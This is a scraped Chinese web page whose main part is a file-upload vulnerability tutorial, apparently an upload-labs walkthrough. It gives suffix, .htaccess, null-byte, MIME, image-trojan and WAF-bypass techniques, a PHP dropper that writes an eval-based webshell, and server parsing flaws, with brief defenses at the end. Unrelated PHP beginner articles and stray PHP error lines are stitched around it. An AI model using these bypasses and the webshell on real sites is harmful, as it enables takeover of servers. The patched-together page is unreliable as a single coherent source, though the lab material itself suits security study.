Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537
??文件上傳漏洞是web系統中常見的一種功能,通過文件上傳能實現上傳圖片、視頻,以及其他類型的文件,但是隨著web中包含的功能越來越多,潛在的網絡安全風險也就越大。
??如果惡意用戶上傳了可執行的文件或者腳本,就會導致網站被其控制甚至會使其服務器淪陷,以至于引發惡意的網絡安全事件。
??文件上傳漏洞是指用戶通過界面上的上傳功能上傳了一個可執行的腳本文件,而WEB端的系統并未對其進行檢測或者檢測的邏輯做的不夠好。
??通過來說文件上傳功能是沒有問題的,主要是服務器如何對上傳的文件如何進行處理。
??若WEB未對用戶上傳的文件進行有效的審查,若存在惡意用戶對其上傳一句話木馬,從而實現控制WEB網站的目的。
??掃描獲取上傳,會員中心頭像上傳,后臺系統上傳,其他途徑上傳。
??已知道的cms源碼。
??ckeditor,fckeditor,kindeditor,xxxxeditor。
??代碼審計,平臺或第三方應用。
??上傳頭像、上傳身份認證、上傳文件以及有存在文件上傳的地方就可能存在相關的漏洞,但不是有文件上傳就一定有漏洞,但有文件上傳就能進行測試。
??上傳文件和文件執行是兩個東西
??漏洞分類:解析漏洞、cms漏洞、其他漏洞(編輯器漏洞、cve漏洞、安全修復)
??思路:
??如果有一個網站,要從文件上傳的方向開始
??第一步:先看中間件,看是否存在解析漏洞/CMS/編輯器漏洞/CVE/
??如果有,如何找:
????字典掃描:掃描會員中心,文件上傳的位置
??找到后,如何利用:
????驗證/繞過
??JS防護就是將上傳的文件進行一個格式的驗證,但是JS類的防護是用戶可以控制的,所以前端的所有驗證都是不安全的。
??通過禁用界面JS處理,然后上傳1.php文件,可繞過前端檢測。關于如何禁用界面JS,可以通過安裝插件進行一鍵禁用。在火狐的插件市場搜索javascript switcher。
??黑名單就是服務端明確不讓上傳的格式后綴,例如:rar、php、zip等。
??特殊解析后綴繞過是由于黑名單過濾規則不嚴謹,在某些特定的情況下的后綴也能夠被當作php文件進行解析,例如PHP2、php3、php4、phtml、pht等情況。
??可以使用phtml、php3、php4、php5,當然前提是apache服務器,同時在配置文件夾中需要有將AddType application/x-httpd-php .php .phtml .phps .php1 .php4 .pht 這樣的一段話前面的注釋刪除,重啟phpstudy讓其生效。
??通過源碼得知,禁止.asp、.aspx、.php、.jsp類型進行上傳。
??本關可以通過上傳其他文件擴展名進行繞過,實現文件上傳。
??.htaccess文件是Apache服務器中的一個配置文件,它負責相關目錄下的網頁配置.通過htaccess文件,可以實現:網頁301重定向、自定義404頁面、改變文件擴展名、允許/阻止特定的用戶或者目錄的訪問、禁止目錄列表、配置默認文檔等功能。
??通過源碼得知第三關使用的phtml被限制了,并且設定了更多的特殊解析后綴,所以使用特殊解析后綴已經無法繞過了,這里就可以使用到 .htaccess進行繞過測試。
??前提條件:
Apache開啟rewrite模塊
.apache配置文件為AllowOverride All(默認為None)
.htaccess需要使用notepad++創建,不然創建不了,創建 .htaccess代碼:
<FilesMatch "x.png">
SetHandler application/x-httpd-php
</FilesMatch>
x.png是代碼將該目錄下文件叫x.png的文件以php進行執行。
??首先上傳.htaccess,其次上傳一張名叫x.png的文件,即可執行。
??后綴大小寫是通過服務端未將后綴進行統一的格式轉換,導致可以上傳PHP的文件,同時由于Windows系統對后綴大小寫并不敏感,所以當在寫PHP的改成Php就會被當作PHP進行解析。
??通過源碼得知,并未對其大小進行限制,且是由于是黑名單,只限制了不可以上傳的,那么的我們可以對php后綴進行大小寫變形,例如:PHP、Php、pHp等。
??點繞過其實就是利用了Windows對文件和文件名的限制,當將點放在結尾的時候,就會觸發操作系統的命名規范問題,所以在生成文件的時候,添加在結尾的點就會被去除。
??通過源碼發現,本關并未對結尾點進行檢測。那么這里就可以通過在后綴加上點進行繞過,這里我使用的是之前大小寫的文件,并未修改名稱,所以不要太在意,并不是說使用大小寫可以繞過。
??通過源碼發現本關之前所有的繞過思路都被過濾了,但是通過源碼發現,所有的過濾都是一次的,并未對其進行循環過濾。也就是說源碼中提到的刪除空格,刪除點都是只刪除一次,那么可以在數據包中將php后綴添加. .,形成.php. .,由于只驗證一次,所以刪除一個點和一個空格后就不再刪除了。
??其實空格繞過和點繞過是一樣的,都是利用操作系統的特性來進行解析繞過。具體可以看點繞過的解釋。
??通過源碼發現并未對空格進行限制,那么我們可以在后綴添加一個空格進行繞過,但是在Windows系統中我們無法創建后綴帶空格的文件,但是在數據包中不會對后綴的空格進行清除啊,那么我們這里就需要使用到BS進行抓包,對其進行修改,然后再進行上傳。
??通過修改后上傳到對方服務器的時候,服務器會自動對后面的空格清除,就實現了繞過。
??在window的時候如果文件名+::$DATA會把::$DATA之后的數據當成文件流處理,不會檢測后綴名,且保持::$DATA之前的文件名,他的目的就是不檢查后綴名
??通過源碼發現并未對::$DATA進行檢測。可以在后面添加::$DATA進行繞過。
??配合解析漏洞就是利用文件上傳漏洞和相關的解析漏洞進行結合完成攻擊,比如配合iis、nginx、apache、tomcat的解析漏洞得到上傳漏洞的實現。具體的看下面提到各種相關的解析漏洞。
??服務端可能存在將后綴替換為空的情況,但是這就存在一種可能就是在編輯過濾的時候只過濾了一次,所以就出現了可以通過雙寫就繞過的可能。
??通過源碼發現,若上傳的文件后綴在禁止的列中,那么就將后綴替換為空,而這里又是只過濾一次,那么就可以通過雙寫進行繞過。
這里由于過濾就是從左到右進行匹配,不要問為什么不從右向左匹配。
??例如:pphphp
??白名單就是服務端明確可以上傳的格式后綴,例如:jpg、png、jpeg等。
??服務端MIME類型檢測是通過檢查http中包含的Content-Type字段中的值來判斷上傳文件是否合法的。
??利用Burp抓包,將報文中的Content-Type改成允許的類型
??Content-Type: image/gif(gif圖像)
??Content-Type: image/jpg(jpg圖像)
??Content-Type: image/png(png圖像)
??通過源碼中第五段分析得出本關采用了content-type進行后端驗證,那么通過使用BS抓包對其進行修改content-type,然后再進行上傳。
??%00不是代表空格,而是null,一個空字符,當程序執行到%00后,那么后面的數據就會停止,意思就是誤當作結束符,把后面的數據直接忽略了,這就會導致漏洞產生。
??在文件上傳后,利用%00截斷,在文件擴展名驗證的時候,就會取文件的擴展名進行驗證,但是在最后保存在本地的時候,%00就會截斷文件名,只保存%00之前的內容。
??%00只能用于php版本低于5.3的。這里我們需要把phpstudy切換一下版本,把magic_quotes_gpc關閉,以phpstudy為例。其他選項菜單—php擴展及設置—參數開關設置—把magic_quotes_gpc關閉。
??通過源碼發現本關是個白名單,但是可以使用%00對路徑進行截斷。
??本關接受值從get變成了post,它倆的區別就是get會自行解碼,而post不會解碼,所以需要對%00進行解碼。
??在BS抓包中選中%00右鍵選擇URL其次選擇網址解碼。
??圖片的格式在防護中通常是不會使用后綴進行判斷的依據,文件頭是文件開頭的一段二進制碼,不同類型的圖片也就會有不同的二進制頭。
??JPEG (jpg),文件頭:FF D8 FF E1
??PNG (png),文件頭:89 50 4E 47
??GIF (gif),文件頭:47 49 46 38
??制作圖片馬,可以使用Notepad直接打開圖片在后面添加一個PHP代碼,不過可能會出錯。其次就是使用copy X.png /b + 1.php /a x.png 。
??上傳圖片馬,并查找路徑。制作好的圖片馬想要解析出來這個圖片,還得有這個包含漏洞。我們看到,他已經說了,網站存在包含漏洞
上傳圖片馬,并查找路徑
構造的URL:http://192.168.10.150/upload-labs/include.php?file=upload/2120221024150121.png
?? 二次渲染就是在我們上傳的圖片后,網站會對圖片進行二次處理,比如對圖片的尺寸、格式、以及網站對圖片進行定義的一些要求等進行處理,并且服務器會對里面的內容進行二次替換更新,在處理完后,會生成一個合規的圖片在網站上顯示出來。
??這里其實同樣也可以使用圖片馬也就是jpg等格式,但是使用gif圖片更好。
??使用抓包軟件進行攔截,方便查看上傳后的文件名稱。
??從網上找的gif圖片馬:圖片馬:
構建的URL:http://192.168.10.150/upload-labs/include.php?file=/upload/18556.gif
??條件競爭就是在源代碼中是存在校驗的,但是校驗是在文件上傳后,才開始校驗,也就是文件先上傳至服務器中,然后服務器會對該文件進行校驗,當符合的時候則會對文件進行重命名,當文件不符合要求的時候就對將文件進行刪除。
??而我們則需要在服務器對文件刪除前進行訪問,由于文件在訪問過程中,服務器是無法刪除的,所以就可以利用這個節點實現條件競爭。
getimagesize函數是用于獲取圖像大小及相關信息,成功返回一個數組,失敗則返回false產生一條e_warning級的錯誤信息。
通過對圖片及代碼進行合成圖片馬,這個時候getimagesize函數既可以獲取圖片信息,文件后綴php也能夠被解析成腳本文件,從而繞過getimagesize函數的限制。
??本關存有getimagesize函數,這個函數的意思是:會對目標文件的16進制去進行一個讀取,去讀取頭幾個字符串是不是符合圖片的要求的。
??使用辦法和第十三關是一樣的,前提都是需要存在相關的漏洞。
??服務器exit_imagetype()函數檢測上傳圖片類型是否為白名單圖片格式來驗證上傳文件合法性。可以通過制作圖片馬繞過,再配合文件包含漏洞解析文件來獲取服務器配置信息。
??上傳一張圖片馬,然后使用br抓包軟件對其進行抓包,查看上傳后的文件名稱。
?URL:http://192.168.10.150/upload-labs/include.php?file=/upload/4920221126063306.png
??解析漏洞就是指服務器應用程序在解析某些精心構造的后綴文件的時候,會將相關的文件解析成網頁的腳本,從而導致實現控制網站,同時大部分的解析漏洞都是由應用程序產生的。
??在以. asp文件名的文件夾下的任何文件都將作為asp文件執行。
??也就是當目錄為XX.asp的時候,那么當訪問下面的圖片的時候,如XX.aps/1.jpg就會被當作ASP執行。
??如果文件為1.asp;.jpg,由于IIS不解析;后面的內容,使用就會把文件當作1.asp進行解析,同時還存在.asa、.cer、.cdx可以進行解析。
??1)限制上傳目錄的執行權限,不允許執行腳本。
??2)不允許創建目錄。
??3)上傳的文件進行重命名。
??在Fast-CGI開啟的狀態下,在類似1.jpg后面加上/1.php,變成/1.jpg/1.php路徑會解析成PHP文件。需要進入php.ini里面修改cig.cgi_ pathinfo=1。
??將1.txt文本文件中的后門代碼寫入到1.jpg圖片的二進制代碼:
copy 1.jpg/b + 1.txt/a 1.jpg
??1.txt的文件內容為:
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[password])?>');?>
當在圖片文件中寫入后門代碼,當訪問這個圖片的時候加上/.php的時候就會在當前目錄下生成一句話木馬shell.php。
??配置cgi.fix_pathinfo(php.ini中)為0并重啟php-cgi程序
??在apache1.x和apache2.x中存在解析漏洞。
??當一個文件為1.php.yy.xx的時候就會被當作php執行,這是由于在apache解析文件的時候有一個原則就是,以.后面的擴展名來解析,當遇見不認識的擴展名的時候,就會向前解析,直到遇到能夠解析的后綴名為止。
??如:1.php.yy.xx,首先會解析xx,xx無法解析就會去解析yy,yy無法解析就會去解析php,那么php是能夠解析了,那么就會結束。
??這種方式多用于繞過黑名單的檢查。
??1)更新至最新版本。
??2)將上傳的文件進行重命名。
??由于nginx默認是用cgi解析php的,因此和iis一樣可以制作圖片馬進行上傳。
??當在圖片文件中寫入后門代碼,當訪問這個圖片的時候加上/.php的時候就會在當前目錄下生成一句話木馬shell.php。
??1)配置cgi.fix_pathinfo(php.ini中)為0并重啟php-cgi程序。
2)或如果需要使用到cgi.fix_pathinfo這個特性(例如:Wordpress),那么可以禁止上傳目錄的執行腳本權限。 或將上傳存儲的內容與網站分離,即站庫分離。
3)或高版本PHP提供了security.limit_extensions這個配置參數,設置security.limit_extensions=.php
??當使用PHP-FastCGI執行PHP時,遇到url里面存在%00空字節時與FastCGI的處理不一致,導致可在非PHP文件中嵌入PHP代碼,通過訪問url+%00.PHP來執行其中的PHP代碼。
??比如上傳一張圖片馬1.jpg,那么當訪問這個圖片馬的時在1.jpg后面添加%00.php就會將圖片馬以php執行。
??1)升級nginx版本。
??編輯器也就是在線的web編輯器,比如在搭建博客后需要發布文章,那么用來發布文章的界面就是web編輯器。當然web編輯器有很多,如:UEDITOR(百度)、eWebEdit、FCKeditor、CKEditor(新版fck)、Kindeditor、DotNetTextBox、CuteEditor等等。
編輯器漏洞詳解
??waf繞過其實就是將數據包截獲到,對里面的內容進行解析,比如對文件的后綴名就判斷是否在相應的黑名單中,文件內容中是否存在webshell代碼。
??總的來說文件上傳都是在數據包中進行各種操作來進行繞過。
??Content-Disposition :一般可更改
??name:表單參數值,不能更改
??filename:文件名,可以更改
??Content-Type:文件MIME,視情況更改
??在form-data;與name=“upload_file”; filename=“2.php"之間添加大量的垃圾數據,可以邊添加邊測試直到上傳上去,主要添加的垃圾數據需要在后面添加一個”;"進行結尾。
??例如:
form-data;sadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasA; name="upload_file"; filename="2.php"
??當然這里不單單可以插入在form-data;與name=“upload_file”; filename="2.php"之間,也可以在name=“upload_file”; 與filename="2.php"之間。但是數據不能亂插入,比如你插在2.php中,那肯定不行,一般情況下,文件名稱長度都可能存在限制,并且太長也上傳不上去。
??例如:
Content-Disposition: form-data; name="upload_file"; sadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasA; filename="2.php"
??符號變異也就是將單雙引號變換使用,或者單雙引號缺失一部分進行使用,或者不使用單雙引號來進行繞過。目前測試好像是無法通過了。
Content-Disposition: form-data; name="upload_file"; filename="2.php
Content-Disposition: form-data; name="upload_file"; filename='2.php
Content-Disposition: form-data; name="upload_file"; filename=2.php
Content-Disposition:"form-data"; name=upload_file; filename="2.php"
Content-Disposition:'form-data'; name="upload_file"; filename='2.php'
??通過換行來實現繞過,但是中間不能有空行。
??例如:
Content-Disposition: form-data; name="upload_file"; filename="2.
p
h
p"
??若WAF匹配文件名到分號截止,則可以繞過。
??對這三個字段進行大小寫進行變換,比如將name換成Name、Content-Disposition換成content-disposition等等。
??針對name和filename這兩個字段,我們可以嘗試交換name和filename的順序。(由于有規定Content-Dispositon必須在前面,因此我們不能修改該字段的內容)
??通過設置多個參數進行匹配,避免被匹配到。
Content-Disposition: form-data; name="upload_file";filename="2.jpg";filename="2.jpg";filename="2.jpg";filename="2.jpg";......filename="2.php";
??最全的文件上傳漏洞之WAF攔截繞過總結
??后端驗證:針對后端驗證的可以采用通過服務器進行驗證。
??后綴檢測:利用黑白名單進行過濾,當然最好是使用白名單,黑名單有時候總歸會存在一些未想到的后綴,而白名單就相對簡單一點,只需要想放通哪些后綴即可,而且防范更好一些。
??上傳目錄:對上傳文件到的目錄可以設置一個不可執行的權限。
??文件名:針對文件名可以自定義一些隨機數以及一些其他的內容進行二次修改,從而改變文件的名稱。
??內容檢測:可以使用文件頭,完整性檢測,最好能夠對內容的數據進行判斷是否存在一些webxshll類似的代碼,若出現這類代碼,直接刪除。
??當然防范手段還有很多,有攻有防。
HP編程語言是目前編程語言中最熱門的編程之一,PHP應用領域最多的是WEB開發,PHP和mysql結合可以做出完美的網站,目前大多WEB網站都會選擇PHP開發,開源成本低,高效質量好。
學習PHP編程其實比較容易,如果你學過HTML、CSS、JavaScript等前端語言將會幫助更快了解和學習PHP編程,PHP主要是可以直接嵌入HTML開發。
很多新手PHP程序員都會選擇自學PHP編程,首先,PHP配置環境很簡單,有一鍵生成的開發集成環境,比如phpstudy,WampServer等。
其次,PHP語法簡單容易掌握,如果你學過C語言或java編程,你就會知道PHP不需要記太多的東西,直接嵌入HTML頁面開發。
PHP輸出Hello World:
<!DOCTYPE html> <html> <body> <?php echo "Hello World!"; ?> </body> </html>
java輸出Hello World:
public class HelloWorld { public static void main(String[] args) { System.out.println("Hello World"); }}
最后,學習PHP編程很快可以進入工作狀態。PHP需要掌握技能并不是很多,開源代碼很多都是直接復制別人的代碼,所有的PHP源代碼事實上都可以得到。
如果你目前正在自學PHP,這里推薦幾個php自學網站:第一PHP社區(很多技術問題),PHP中文網(推薦新手教程),CSDN(技術大神文章,分享技術)、PHPChina開發者社區。
責任編輯:常青春科技
HP(外文名:PHP: Hypertext Preprocessor,中文名:“超文本預處理器”)是一種通用開源腳本語言。語法吸收了C語言、Java和Perl的特點,利于學習,使用廣泛,主要適用于Web開發領域。PHP 獨特的語法混合了C、Java、Perl以及PHP自創的語法。它可以比CGI或者Perl更快速地執行動態網頁。用PHP做出的動態頁面與其他的編程語言相比,PHP是將程序嵌入到HTML(標準通用標記語言下的一個應用)文檔中去執行,執行效率比完全生成HTML標記的CGI要高許多;PHP還可以執行編譯后代碼,編譯可以達到加密和優化代碼運行使代碼運行更快。
發完之前兩篇文章之后,突然有讀者告訴我沒有學過PHP希望我發些PHP的教程,既然有這方面的需求,那必須滿足。
首先介紹一下PHP語言:PHP是一種免費開源的、創建動態交互性站點的強有力的服務器端腳本語言,使用非常廣泛。同時,對于像微軟 ASP 這樣的競爭者來說,PHP 無疑是另一種高效率的選項。
開發工具一覽
然后,需要知道的就是PHP的學習線路(自我總結):
所以如果想要深入學習PHP至少要掌握的技巧為:HTML基礎(包含HTML/CSS/JS等)、PHP基本語法、數據庫基礎等。當然,編程學習是一個由淺入深的過程,僅僅初步掌握以上知識是不夠的,還需要更加深入的學習和探究,我相信能看到這里的人都是具備這種精神,或者想要具備這種精神的。
磨刀不誤砍柴工,在正式學習PHP之前,我們要還需要了解一下PHP的開發工具。我就以windows平臺為例,簡單介紹一下PHP 開發工具的開發工具:
PHP服務器組件非常多包括WampServer、XAMPP、AppServ、phpStudy、phpnow等,我使用的是phpStudy和XAMPP組合,XAMPP集成有Apache、MySQL以及PhpMyAdmin;
PHP IDE 也是非常多有Zend Studio、Eclipse for PHP、EasyEclipse等;
MySql管理工具常用的有:Navicat for Mysql、PhpMyAdmin,個人推薦Navicat for Mysql,不過PhpMyAdmin這工具也不錯;
至于常用的編輯器有:Notepad++、editplus、ultraedit等,筆者使用的是Notepad++,畢竟筆者喜歡相對看得過眼的,哈哈。
初步介紹的話,先介紹到這里,下一章繼續。
*請認真填寫需求信息,我們會在24小時內與您取得聯系。